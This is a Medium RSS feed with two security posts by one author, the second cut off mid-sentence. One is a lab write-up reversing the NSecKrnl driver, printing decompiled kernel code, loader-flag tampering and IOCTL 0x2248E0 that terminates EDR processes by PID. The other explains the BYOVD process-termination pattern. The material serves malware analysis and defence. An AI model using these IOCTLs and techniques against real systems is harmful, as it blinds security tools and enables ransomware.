<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sushant M Mane | The Cyber Veda IN on Medium]]></title>
        <description><![CDATA[Stories by Sushant M Mane | The Cyber Veda IN on Medium]]></description>
        <link>https://medium.com/@sushant.m.mane?source=rss-fa7a71c497c1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*oFq5g7toWmW-JTlNQHotKQ.png</url>
            <title>Stories by Sushant M Mane | The Cyber Veda IN on Medium</title>
            <link>https://medium.com/@sushant.m.mane?source=rss-fa7a71c497c1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:49:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sushant.m.mane/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Kernel Shield: Reversing the NSecKrnl (Malops.io) Rootkit Driver]]></title>
            <link>https://medium.com/@sushant.m.mane/kernel-shield-reversing-the-nseckrnl-malops-io-rootkit-driver-fb4af6bcb19c?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb4af6bcb19c</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Sun, 31 May 2026 18:29:18 GMT</pubDate>
            <atom:updated>2026-05-31T18:29:18.685Z</atom:updated>
            <content:encoded><![CDATA[<p>Challenge URL: <a href="https://malops.io/challenges/kernel-shield">https://malops.io/challenges/kernel-shield</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-XMrJ8wADEGhIPHsKnbCw.png" /></figure><h3>Scenario</h3><blockquote>Your organization’s incident response team has been called in after a devastating ransomware attack encrypted critical servers across the network. During forensic analysis, the team discovered that the ransomware didn’t just encrypt files — it first deployed a malicious kernel driver named ‘NSecKrnl’ to neutralize all endpoint detection and response (EDR) solutions running on the target machines. By operating at the kernel level, the driver was able to intercept process handle operations, strip security tool access rights, and forcefully terminate any protective processes before the ransomware payload executed. Without EDR visibility, the ransomware operated completely undetected. Your task as a malware analyst is to load this kernel driver into IDA Pro and fully reverse engineer its capabilities. Uncover how it initializes, how it evades kernel integrity checks, how it communicates with its usermode ransomware component via IOCTL codes, and how it systematically kills EDR processes. Your findings will be critical to understanding the full attack chain and building detections to prevent future incidents.</blockquote><p>The investigation starts in the most mundane way possible: a password‑protected ZIP file. Once extracted (password: infected), we get a single driver file, the one Malops wants us to analyze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/110/1*W0OeJALZnKS1neUjsJ4meA.png" /></figure><p>Before throwing it into IDA, I like to answer a simple question: <em>What am I actually holding?</em></p><p>A quick pass with Detect It Easy tells us:</p><ul><li>It’s a PE64 binary.</li><li>Built for AMD64.</li><li>File type: Driver (.sys).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*tHcAds57tscjMXlUp-fPBg.png" /></figure><p>So we’re not dealing with a user‑mode implant pretending to be a driver; this is real kernel‑mode code. That already explains why the EDRs had a bad day. Once something runs in kernel mode, it plays at roughly the same privilege level as your security stack.</p><p>This tells us we are dealing with a 64‑bit Windows kernel‑mode driver, which already implies stricter loading requirements such as code signing and kernel integrity constraints on modern Windows systems.</p><p>To see whether this driver is already known in the wild, we compute its MD5:</p><ul><li>80961850786d6531f075b8a6f9a756ad</li></ul><p>Submitting the hash to public threat intel sources confirms what Malops hinted at: this is <strong>NSecKrnl</strong>, a vulnerable driver that has been documented as abusable for arbitrary process termination, including security tools. In other words, we’re not reversing a random rootkit prototype, we’re looking at the same class of driver that has been abused in real ransomware campaigns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OW_2uR1mWWVIlfGur9TLGA.png" /></figure><h3>A Legitimate Signature With a Dark Side</h3><p>Because modern Windows refuses to load unsigned kernel drivers (ignoring test and dev configurations), any serious attacker needs a way around that barrier. Stealing or misusing code‑signing infrastructure is one route, abusing legitimately signed but vulnerable drivers is another.</p><p>Inspecting the digital signature of our sample, we find it is signed by:</p><ul><li><strong>Shandong Anzai Information Technology CO., Ltd.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tu8mQjWGpVFNyR-40H8tsA.png" /></figure><p>This name has surfaced in multiple analyses where attackers abuse drivers signed with legitimate certificates for malicious purposes. So, to the operating system, NSecKrnl.sys looks like a trustworthy, vendor‑signed component. To our ransomware operator, it’s the perfect kernel‑level crowbar.</p><p>With that context set, it’s time to see what the code actually does.</p><h3>Dropping Into DriverEntry: The First Red Flag</h3><p>Once the driver is loaded into IDA, the natural starting point is DriverEntry.</p><pre>NTSTATUS __stdcall DriverEntry_0(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)<br>{<br>    NTSTATUS result;<br>    int result_1;<br>    UNICODE_STRING DestinationString;<br>    UNICODE_STRING SymbolicLinkName;<br>    PDEVICE_OBJECT DeviceObject;<br><br>    *((_DWORD *)DriverObject-&gt;DriverSection + 0x1A) |= 0x20u; // Tampering<br><br>    SpinLock = 0;<br><br>    RtlInitUnicodeString(&amp;DestinationString, L&quot;\\Device\\NSecKrnl&quot;);<br>    RtlInitUnicodeString(&amp;SymbolicLinkName, L&quot;\\DosDevices\\NSecKrnl&quot;);<br><br>    DriverObject-&gt;MajorFunction[0] = CreateClose;<br>    DriverObject-&gt;MajorFunction[2] = CreateClose;<br>    DriverObject-&gt;MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTL_Dispatch_Routine;<br>    DriverObject-&gt;DriverUnload = DriverUnload;<br><br>    result = IoCreateDevice(DriverObject, 0, &amp;DestinationString, 0x22u, 0, 0, &amp;DeviceObject);<br>    if (result &gt;= 0) {<br>        result_1 = IoCreateSymbolicLink(&amp;SymbolicLinkName, &amp;DestinationString);<br>        if (result_1 &gt;= 0) {<br>            // Callback setup<br>            Status = PsSetCreateProcessNotifyRoutine(NotifyRoutine, 0) &gt;= 0;<br>            status = PsSetLoadImageNotifyRoutine(guard_check_icall_nop) &gt;= 0;<br>            sub_140001518();<br>        } else {<br>            IoDeleteDevice(DeviceObject);<br>        }<br>        return result_1;<br>    }<br>    return result;<br>}</pre><p>That’s where we see how the driver introduces itself to the kernel: what device it exposes, what callbacks it registers, and what unusual tricks it pulls.</p><p>Early in DriverEntry, one line stands out like a neon sign:</p><pre>*((_DWORD *)DriverObject-&gt;DriverSection + 0x1A) |= 0x20u;</pre><p>This isn’t some harmless initialization, it’s reaching into the driver’s own KLDR_DATA_TABLE_ENTRY, the kernel’s internal record of loaded modules and flipping a bit in the Flags field.</p><p>In plain language:</p><ul><li>DriverObject-&gt;DriverSection points to the structure that says “this is who I am” to the Windows loader.</li><li>By treating it as an array of DWORD and jumping to offset 0x1A, the code lands around 0x68 bytes into the structure, right where the Flags field typically lives.</li><li>|= 0x20 sets a specific bit in those flags after the driver has already been loaded.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0EXBWKkWSUAtze6U8SoFQ.png" /></figure><p>Why is that interesting? Because it means the driver is deliberately tampering with its own loader metadata. That’s not something a normal vendor driver usually needs to do. This kind of modification is a classic rootkit move: you change internal flags so that enumerators, diagnostics, or security tools get incomplete or misleading information when they walk the list of loaded modules.</p><p>In our fictional incident, this would be one of the first hints that the “legitimate” driver is behaving more like a stealth module.</p><h3>Carving a Path for User‑Mode Control</h3><p>After the flag tampering, the driver proceeds with more conventional setup:</p><ul><li>It initializes a device name: \Device\NSecKrnl.</li><li>It creates a symbolic link: \DosDevices\NSecKrnl.</li><li>It wires up basic dispatch routines, including an IOCTL handler.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*PtRiRa77odJB7KYm0WmQ0Q.png" /></figure><p>This symbolic link is crucial to the story. It’s how the user‑mode ransomware component talks to the driver. From user‑mode, you open \\.\NSecKrnl, send carefully crafted IOCTL requests, and the driver does the dirty work in kernel mode.</p><p>So now we know:</p><ul><li>The operator drops a signed driver.</li><li>The OS happily loads it.</li><li>The driver quietly tweaks its loader metadata.</li><li>A user‑mode controller can now talk to NSecKrnl via the device interface.</li></ul><p>But simply being callable from user mode isn’t enough. To kill EDRs efficiently, the driver needs visibility into processes and leverage over how other code interacts with them.</p><p>That’s where the callbacks come in.</p><h3>Hooking the System: Process, Image, and Handle Callbacks</h3><p>Once the device and symbolic link are successfully created, DriverEntry moves on to registering global kernel callbacks.</p><ol><li><strong>Process creation/exit notifications</strong></li></ol><pre>PsSetCreateProcessNotifyRoutine(NotifyRoutine, 0);</pre><p>This ensures the driver is notified every time a process is created or exits. It gets a system‑wide view of process lifecycles, letting it track or react to interesting processes like security agents that restart themselves when killed.</p><p>2. <strong>Image load notifications</strong></p><pre>PsSetLoadImageNotifyRoutine(guard_check_icall_nop);</pre><p>Despite the noisy name (a side effect of decompilation), this is the routine that gets invoked whenever an executable image is mapped into memory. That includes EXEs, DLLs, and other drivers. In an attack context, this lets the driver observe when key security components or injected modules come into play.</p><p>3. <strong>Object Manager callbacks on process handles</strong></p><pre>NTSTATUS sub_140001518()<br>{<br>    NTSTATUS result;<br>    PVOID v1;<br>    __int64 v2[4];<br>    OB_CALLBACK_REGISTRATION CallbackRegistration;<br><br>    v2[0] = (__int64)PsProcessType;<br>    v2[1] = 3;<br>    v2[2] = (__int64)sub_1400014B0; // PreOperation<br>    v2[3] = 0;                       // No PostOperation<br><br>    memset(&amp;CallbackRegistration, 0, sizeof(CallbackRegistration));<br>    *(_DWORD *)&amp;CallbackRegistration.Version = 65792;<br>    RtlInitUnicodeString(&amp;CallbackRegistration.Altitude, L&quot;328987&quot;);<br>    CallbackRegistration.RegistrationContext = 0;<br>    CallbackRegistration.OperationRegistration = (OB_OPERATION_REGISTRATION *)v2;<br><br>    result = ObRegisterCallbacks(&amp;CallbackRegistration, &amp;RegistrationHandle);<br>    v1 = (result &lt; 0) ? 0 : RegistrationHandle;<br>    RegistrationHandle = v1;<br>    return result;<br>}</pre><p>The third step is tucked away in a helper function that calls ObRegisterCallbacks. Here, the driver registers a callback structure that targets PsProcessType, i.e., process objects. In simplified terms, it tells the kernel:</p><blockquote>“Before anyone creates or duplicates a handle to a process, call my function first.”</blockquote><p>The registration is configured so that:</p><ul><li>It applies to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE.</li><li>It uses a pre‑operation callback (sub_1400014B0) and no post‑operation callback.</li><li>It assigns an altitude string (e.g., &quot;328987&quot;) to specify where in the callback chain this driver should run relative to other filters.</li></ul><p>The effect is powerful: whenever code (including security tools) tries to open or duplicate a handle to a process, this driver can inspect the request and decide whether to allow it, downgrade the access rights, or block it.</p><p>In a normal EDR, you’d see similar mechanisms used defensively, protecting the agent from tampering. Here, the same pattern is inverted: the driver can be used to protect the ransomware processes and make it harder for defenders to poke at them.</p><p>At this point in the storyline, we have a driver that:</p><ul><li>Knows when processes are born and die.</li><li>Sees which images they load.</li><li>Can intervene when handles to those processes are created or duplicated.</li></ul><p>All that’s left is to expose a handful of IOCTLs so the attacker can steer these capabilities from user mode.</p><h3>The IOCTL Interface: Four Codes, One Very Dangerous One</h3><p>The IOCTL dispatch routine is where the user‑mode and kernel‑mode pieces come together. When a user‑mode process sends an DeviceIoControl request to \\.\NSecKrnl, it lands here.</p><pre>NTSTATUS __fastcall IOCTL_Dispatch_Routine(_DRIVER_OBJECT *DriverObject, IRP *Irp)<br>{<br>    __int64 *SystemBuffer;<br>    NTSTATUS status;<br>    char v5;<br><br>    SystemBuffer = (__int64 *)Irp-&gt;AssociatedIrp.SystemBuffer;<br>    status = 0xC0000001; // STATUS_UNSUCCESSFUL by default<br><br>    if (Irp-&gt;Tail.Overlay.CurrentStackLocation-&gt;Parameters.DeviceIoControl.IoControlCode == 0x2248D4) {<br>        if (SystemBuffer &amp;&amp; sub_1400012B8(*SystemBuffer))<br>            status = 0;<br>    } else {<br>        if (Irp-&gt;Tail.Overlay.CurrentStackLocation-&gt;Parameters.DeviceIoControl.IoControlCode == 0x2248D8) {<br>            if (!SystemBuffer) goto LABEL_16;<br>            v5 = sub_140001614(*SystemBuffer);<br>        } else if (Irp-&gt;Tail.Overlay.CurrentStackLocation-&gt;Parameters.DeviceIoControl.IoControlCode == 0x2248DC) {<br>            if (!SystemBuffer) goto LABEL_16;<br>            v5 = sub_140001240(*SystemBuffer);<br>        } else {<br>            if (Irp-&gt;Tail.Overlay.CurrentStackLocation-&gt;Parameters.DeviceIoControl.IoControlCode != 0x2248E0 || !SystemBuffer)<br>                goto LABEL_16;<br>            v5 = ProcessTerminatorFunction((void *)*SystemBuffer);<br>        }<br>        if (v5)<br>            status = 0;<br>    }<br><br>LABEL_16:<br>    Irp-&gt;IoStatus.Status = status;<br>    IofCompleteRequest(Irp, 0);<br>    return status;<br>}</pre><p>The driver checks the IOCTL code and acts accordingly. It supports four codes in total:</p><ul><li>0x2248D4</li><li>0x2248D8</li><li>0x2248DC</li><li>0x2248E0</li></ul><p>Each of the first three calls a helper function with a single argument taken from the SystemBuffer. Without going into each helper in detail, they appear to implement additional logic around process or handle management tied to an identifier (often a PID).</p><p>The last IOCTL, 0x2248E0, is the most straightforward and the most dangerous. When invoked with a valid buffer, it calls:</p><pre>ProcessTerminatorFunction((void *)*SystemBuffer);</pre><p>In other words: “Take this value from user‑mode (interpreted as a PID) and try to kill that process from kernel mode.”</p><p>That is the core primitive attackers want: <em>give me the PID of an EDR process, and I’ll make it disappear, no questions asked.</em></p><h3>Inside the Killer: ProcessTerminatorFunction</h3><p>The ProcessTerminatorFunction implementation is pleasantly simple.</p><pre>char __fastcall ProcessTerminatorFunction(void *PID)<br>{<br>    HANDLE ProcessHandle;<br>    PEPROCESS Process;<br><br>    Process = 0;<br>    ProcessHandle = 0;<br><br>    if (PsLookupProcessByProcessId(PID, &amp;Process) &gt;= 0 &amp;&amp;<br>        ObOpenObjectByPointer(Process, 0x200u, 0, 1u, (POBJECT_TYPE)PsProcessType, 0, &amp;ProcessHandle) &gt;= 0)<br>    {<br>        ZwTerminateProcess(ProcessHandle, 0);<br>        ZwClose(ProcessHandle);<br>    }<br><br>    if (Process)<br>        ObfDereferenceObject(Process);<br><br>    return 0;<br>}</pre><p>In kernel land, it is exactly what you don’t want if you’re on the defensive side:</p><ol><li>It calls PsLookupProcessByProcessId to turn the provided PID into an EPROCESS pointer and holds a reference to it.</li><li>It calls ObOpenObjectByPointer to create a handle to that process with PROCESS_TERMINATE access, using OBJ_KERNEL_HANDLE so the handle is reserved for kernel use.</li><li>If that succeeds, it calls ZwTerminateProcess on the handle.</li><li>It closes the handle and dereferences the process object to avoid leaks.</li><li>It returns (interestingly) a constant value, not even bothering to report whether termination actually worked.</li></ol><p>This is exactly what you’d expect from a generic kernel‑mode process killer. No fancy tricks, no complex obfuscation, just leveraging the fact that, in kernel mode, you can ask for terminate rights on almost anything and the OS will usually oblige.</p><p>Now imagine the ransomware operator’s playbook:</p><ul><li>Enumerate running processes from user mode.</li><li>Filter down to EDR/AV processes by name, path, or service.</li><li>For each target PID, send an IOCTL 0x2248E0 to NSecKrnl.</li><li>Let the driver do the killing, ignoring user‑mode protections and self‑defense features.</li></ul><p>Once those IOCTLs go through, the blue team’s visibility and protection evaporate.</p><h3>How It All Fits Into the Ransomware Kill Chain</h3><p>If we step back and narrate it as an intrusion sequence, the attack chain looks like this:</p><ol><li><strong>Initial compromise</strong><br>The attacker gains a foothold by phishing, exposed credentials, vulnerable service, the specifics don’t matter for this driver‑centric story.</li><li><strong>Bring Your Own Vulnerable Driver (BYOVD)</strong><br>The attacker drops the legitimately signed NSecKrnl driver onto the system and loads it, often via a service or dedicated loader. Windows happily accepts it based on the valid signature.</li><li><strong>Driver initialization</strong><br>On load, the driver:</li></ol><ul><li>Tweaks its internal loader flags for stealth.</li><li>Exposes a device \Device\NSecKrnl and a symbolic link \DosDevices\NSecKrnl.</li><li>Hooks process notifications, image load notifications, and process handle operations.</li></ul><p><strong>4. User‑mode controller takes over</strong><br>The ransomware’s user‑mode companion opens \\.\NSecKrnl and starts issuing IOCTLs. It may use the other IOCTLs to set up internal state, but eventually it exercises 0x2248E0 to terminate specific PIDs.</p><p><strong>5. Defense takedown</strong><br>One by one, EDR agents, AV engines, and related services are killed from kernel mode. Self‑protection hooks, tamper protection, and user‑mode policies become largely irrelevant.</p><p><strong>6. Encryption with minimal noise</strong><br>With security processes gone or crippled, the main ransomware payload runs its encryption routine with far less opposition and far fewer alerts. By the time anyone looks, the damage is already done and the kernel‑level activity may not even be fully captured in logs.</p><p>From a defender’s perspective, the scary part is not just the encryption; it is the methodical, kernel‑assisted blinding that happens beforehand.</p><h3>Why This Challenge Matters</h3><p>The Malops “Kernel Shield” challenge doesn’t just teach you how to click around in IDA. It walks you through a realistic pattern that we keep seeing in real incidents:</p><ul><li>Attackers are more than happy to reuse vulnerable, signed drivers instead of writing flashy custom rootkits.</li><li>Once they have kernel code execution, simple building blocks like process callbacks, Ob callbacks, and IOCTL‑driven process termination are enough to dismantle your defences.</li><li>The difference between “it’s just another driver” and “this is a ransomware enabler” often lies in a handful of lines: flipping a Flags bit, registering a few callbacks, and exposing a dangerous IOCTL.</li></ul><p>For malware analysts, this kind of challenge is a safe sandbox to practice reading kernel‑mode logic, understanding how user‑mode and kernel‑mode pieces interact, and thinking like both the attacker and the defender.</p><p>For blue teams, the key takeaway is clear: <strong>it’s not enough to monitor processes and DLLs, you also need to watch which drivers are being loaded, which IOCTLs they expose, and how they can be abused.</strong>ng Thoughts</p><p>The Kernel Shield challenge is an excellent example of how a seemingly benign, signed driver can become a powerful weapon in a ransomware operator’s toolkit. By reversing NSecKrnl, we see how:</p><ul><li>A single vulnerable driver exposes a generic “kill arbitrary process” primitive via IOCTLs.</li><li>Kernel callbacks and loader flag tampering provide stealth and fine‑grained control over process handles.</li><li>Attackers can chain these capabilities to blind EDRs and run ransomware virtually undisturbed.</li></ul><p>For malware analysts and defenders, these challenges are more than puzzles they are rehearsals for real incidents where understanding the kernel‑mode layer can be the difference between a complete blind spot and a successful investigation.</p><h3>Follow Us</h3><p><strong>At The Cyber Veda India</strong>, we cover major cyber events, share actionable knowledge, and deliver practical training online/offline.</p><p><strong>Where to find us:</strong></p><ul><li><a href="https://www.linkedin.com/company/the-cyber-veda-india"><strong>LinkedIn</strong></a><strong>:</strong> Follow for in-depth articles on cybersecurity and electronic warfare</li><li><a href="https://www.youtube.com/@TheCyberVedaIN"><strong>YouTube</strong></a><strong>:</strong> Watch technical breakdowns and training sessions on cyber defense</li><li><a href="https://www.instagram.com/thecyberveda_india/"><strong>Instagram</strong></a><strong>:</strong> Quick insights on cybersecurity trends and incident analysis</li><li><a href="https://thecyberveda.in/"><strong>The Cyber Veda India</strong></a><strong>:</strong> Our edutech platform offering cybersecurity training and workshops</li></ul><p>If you found this breakdown useful, <strong>follow along</strong> for more content that keeps you informed about the latest in cybersecurity and electronic warfare.</p><p><strong>Stay secure. Stay informed.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb4af6bcb19c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BYOVD & Process Termination: Understanding The Pattern By Reversing TCVINProcTerm Driver]]></title>
            <link>https://medium.com/@sushant.m.mane/byovd-process-termination-understanding-the-pattern-by-reversing-tcvinprocterm-driver-5c431d9d578b?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c431d9d578b</guid>
            <category><![CDATA[kernel]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[device-drivers]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Sun, 24 May 2026 14:59:20 GMT</pubDate>
            <atom:updated>2026-05-24T14:59:20.181Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Author — Sushant Mane <br>LinkedIn — </em><a href="https://www.linkedin.com/in/sushantmmane/">https://www.linkedin.com/in/sushantmmane/</a> <br>Website — <a href="https://thecyberveda.in/">https://thecyberveda.in/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w36VYv24Nb7ZRlMBYyFnhw.png" /></figure><h3>Introduction</h3><p>Incident reports and malware analysis reports often mention <strong>BYOVD </strong>( <em>Bring Your Own Vulnerable Driver</em>) in the same breath as process termination, EDR interfaces, or “kernel-level” kills. The term is easy to look up but hard to connect to a concrete mechanism if you have never traced a driver IOCTL path.</p><p>This article walks through the full picture in one place:</p><ul><li>What BYOVD means in practice ?</li><li>How a kernel driver exposes process termination to user mode ?</li><li>How to reverse a minimal reference driver — <strong>TCVINProcTerm.sys </strong>(<em>The Cyber Veda India Process Terminator Driver</em>) to recover it’s device name, IOCTL, and input format ?</li><li>How to validate that analysis in an isolated VM ?</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Am65xSC2EaxYfYXQaMQ39Q.png" /></figure><p><strong>Disclaimer: </strong>The driver was built for education: it accepts a process ID (PID) via an IOCTL and terminates the target using <strong>ZwOpenProcess </strong>and <strong>ZwTerminateProcess. </strong>We do not distribute known-vulnerable third-party drivers or IOCTL tables for them. The goal is to understand the <strong>pattern</strong> attackers use or defenders see in the field, using a binary that can be safely analyzed.</p><h3><strong>What BYOVD Is ?</strong></h3><p><strong>Bring Your Own Vulnerable Driver </strong>describes a technique where an attacker loads a <strong>legitimately signed </strong>kernel driver that exposes dangerous functionality, often through an IOCTL and invokes that functionality from user mode.</p><p>The steps are consistent across many cases:</p><ol><li><strong>Load </strong>a kernel driver (.sys) onto the system.</li><li><strong>Open</strong> the driver’s user mode device path (\\.\DeviceName).</li><li><strong>Send an IOCTL </strong>with a small input buffer (for terminators, often a PID).</li><li>The driver’s <strong>dispatch routine</strong> runs in kernel mode and performs a privileged action.</li></ol><p>For process-termination families, that action is typically opening the target process with terminate access and calling <strong>ZwTerminateProcess.</strong></p><p>This is distinct from:</p><ul><li><strong>Exploiting a kernel memory bug </strong>in the OS itself.</li><li><strong>Loading an unsigned driver</strong> on a system that enforces signing (normal production configurations block that).</li></ul><p>BYOVD abuses <strong>trust in a signed module </strong>and <strong>weakness in its design or access control</strong> (overly powerful IOCTL, permissive device ACL, no caller verification). In short not necessarily a classic memory corruption vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*cd8zMbCnAa8J0PxsWIvE2A.png" /></figure><h3>User Mode &amp; Kernel Mode</h3><p>Windows runs code in <strong>user mode</strong> (Ring 3)<strong> </strong>and <strong>kernel mode </strong>(Ring 0).</p><p><strong>User mode </strong>hosts most applications. Each process has its own virtual address space. A crash usually affects only that process. Security products commonly monitor user-mode APIs related to process operations (for example, <strong>OpenProcess, TerminateProcess</strong> ).</p><p><strong>Kernel mode</strong> hosts the operating system core and drivers. Drivers can invoke kernel APIs such as <strong>ZwOpenProcess </strong>and <strong>ZwTerminateProcess.</strong> Errors in kernel code can destabilize the entire system.</p><p>User-mode programs do not call ZwTerminateProcess directly. They can communicate with drivers through <strong>device objects:</strong> open a handle with <strong>CreateFile </strong>on \\.\DeviceName, then use <strong>DeviceIoControl </strong>to send IOCTLs. The I/O manager delivers those requests to the driver as <strong>IRPs (I/O Request Packets).</strong></p><p>That boundary: User Client → Device → IOCTL → Driver → Kernel API, is the structure you should internalize before opening a disassembler.</p><h3>The Attack Pipeline</h3><p>The following flow applies to <strong>TCVINProcTerm </strong>and many process-terminator drivers described in threat intelligence.</p><pre>1. LOAD<br>   .sys installed/loaded → DriverEntry<br>   Creates \Device\TCVINProcTerm and symlink \\.\TCVINProcTerm<br><br>2. OPEN (user mode)<br>   CreateFile(&quot;\\\\.\\TCVINProcTerm&quot;)<br><br>3. IOCTL (user mode)<br>   DeviceIoControl(IOCTL, input buffer, ...)<br>   Input: ULONG ProcessId (4 bytes)<br><br>4. DISPATCH (kernel)<br>   I/O Manager → IRP_MJ_DEVICE_CONTROL → DeviceControl()<br><br>5. ACT (kernel)<br>   ZwOpenProcess → ZwTerminateProcess → ZwClose</pre><p><strong>User mode </strong>controls steps 2–3. <strong>Kernel mode </strong>executes steps 1,4–5. BYOVD reports usually emphasize that step 1 used a <strong>signed non-Microsoft driver </strong>and that step 3 was available to a process that should not have had that capability.</p><h3>Driver Structure ( What You Will See In The Binary )</h3><p>You do not need to write a driver to reverse one, but understanding driver code and internals would help a lot. These componenets map directly to what appears in <strong>TCVINProcTerm.sys.</strong></p><h4>Driver and Service</h4><p>A driver is a <strong>.sys </strong>image loaded into kernel memory, often via the Service Control Manager ( <strong>sc create</strong>/ <strong>sc start</strong> with <strong>type= kernel</strong>).</p><p>From an analyst perspective, a new kernel module plus a new device name is a meaningful event.</p><h4>Device Object &amp; Symlink</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*MQll37ihhwI7NCLShdZqHg.png" /></figure><p>The kernel creates an internal device object; the symlink exposes a Win32 path. If the client opens the wrong name or the driver is not loaded, <strong>CreateFile </strong>fails — commonly with error 2 (<strong>ERROR_FILE_NOT_FOUND).</strong></p><p>In static analysis, search the <strong>strings </strong>list for <strong>\Device\</strong> and <strong>\DosDevices\</strong> (or <strong>\??\</strong>) and follow cross-references into initialization code.</p><h4>DriverEntry</h4><p>On load, Windows calls <strong>DriverEntry. </strong>Typical responsibilities:</p><ul><li><strong>IoCreateDevice — </strong>create <strong>\Device\TCVINProcTerm</strong></li><li><strong>IoCreateSymbolicLink — </strong>map the user-visible name</li><li>Assign <strong>DriverObject →MajorFunction[] </strong>handlers</li><li>Set device flags (this driver uses <strong>buffered I/O</strong> for IOCTLs)</li><li>Clear <strong>DO_DEVICE_INITIALIZING</strong></li></ul><p>In a decompiler, look for calls to <strong>IoCreateDevice </strong>and <strong>IoCreateSymbolicLink, </strong>then a series of writes to the major function table.</p><h4><strong>IRPs and Completion</strong></h4><p>Each <strong>CreateFile </strong>or <strong>DeviceIoControl </strong>operation becomes an I/O Request Packet <strong>(IRP).</strong></p><blockquote><strong>Definition: </strong>An I/O Request Packet (IRP) is a fundamental core-mode data structure used by the Windows operating system to manage and route hardware and software I/O operations. Whenever an application requests to read/write a file, communicate with a USB device, or send network packets, the I/O Manager creates an IRP to represent that request as it travels through a layered stack of device drivers. <br><strong>Reference:</strong> <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets">https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets</a></blockquote><p>The driver must set <strong>Irp →IoStatus.Status</strong>, optionally <strong>Irp →IoStatus.Information</strong>, and call <strong>IoCompleteRequest </strong>on every code path. Missing completion can hang callers or contribute to instability.</p><p>To see more about the IRP structure, you can refer <a href="https://www.vergiliusproject.com/">https://www.vergiliusproject.com/.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LGBWGiYwToAg5xoSdEEZrg.png" /></figure><h4>Major Function Table</h4><p>Handlers are indexed by IRP major function code. The ones that matter here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*WXfKTt7ecIuoYM6hhy0bEw.png" /></figure><p>For reversal: locate <strong>DriverEntry</strong>, find the write to <strong>MajorFunction[14]</strong>, and analyze that function as <strong>DeviceControl</strong>. Create/close handlers usually only complete the IRP with success.</p><h4>DeviceControl</h4><p><strong>DeviceControl </strong>reads the IOCTL code and buffer lengths from the IRP stack, validates input, performs work, and completes the IRP. For terminators, the work is a helper that opens the process by PID and terminates it.</p><h3>IOCTLs and the termination contract</h3><p>An IOCTL is a 32-bit control code passed to <strong>DeviceIoControl</strong>. It is constructed with the <strong>CTL_CODE </strong>macro from device type, function index, transfer method, and required access.</p><p><strong>TCVINProcTerm </strong>defines:</p><ul><li><strong>Name:</strong> IOCTL_TCVIN_PROCESS_TERMINATE. ( Just a name given to the corresponding IOCTL during development).</li><li><strong>Transfer Method:</strong> <strong>METHOD_BUFFERED</strong> — the I/O manager copies input from user space into a system buffer exposed as <strong>Irp →AssociatedIrp.SystemBuffer</strong></li><li><strong>Input:</strong> a single <strong>ULONG ProcessId</strong> (minimum length 4 bytes)</li></ul><p>There is no complex structure — only a PID. That simplicity is common in terminator drivers.</p><p>When you reverse the binary, the IOCTL appears as a <strong>numeric constant </strong>compared against <strong>Parameters.DeviceIoControl.IoControlCode </strong>in <strong>DeviceControl.</strong> Record that hex value.</p><h3>How Kernel Based Process Termination Work ?</h3><h4>User Mode Equivalent</h4><pre>OpenProcess(PROCESS_TERMINATE, ..., pid)<br>TerminateProcess(handle, exitCode)<br>CloseHandle(handle)</pre><p>Security rools and policies often focus on this path.</p><h4>Kernel Path (TCVINProcTerm)</h4><pre>ZwOpenProcess(&amp;handle, DesiredAccess, ObjectAttributes, ClientId)<br>ZwTerminateProcess(handle, ExitStatus)<br>ZwClose(handle)</pre><p><strong>PID versus handle: </strong>the IOCTL carries a <strong>PID</strong>. The driver must open a kernel handle with appropriate access before terminating.</p><h4>Access 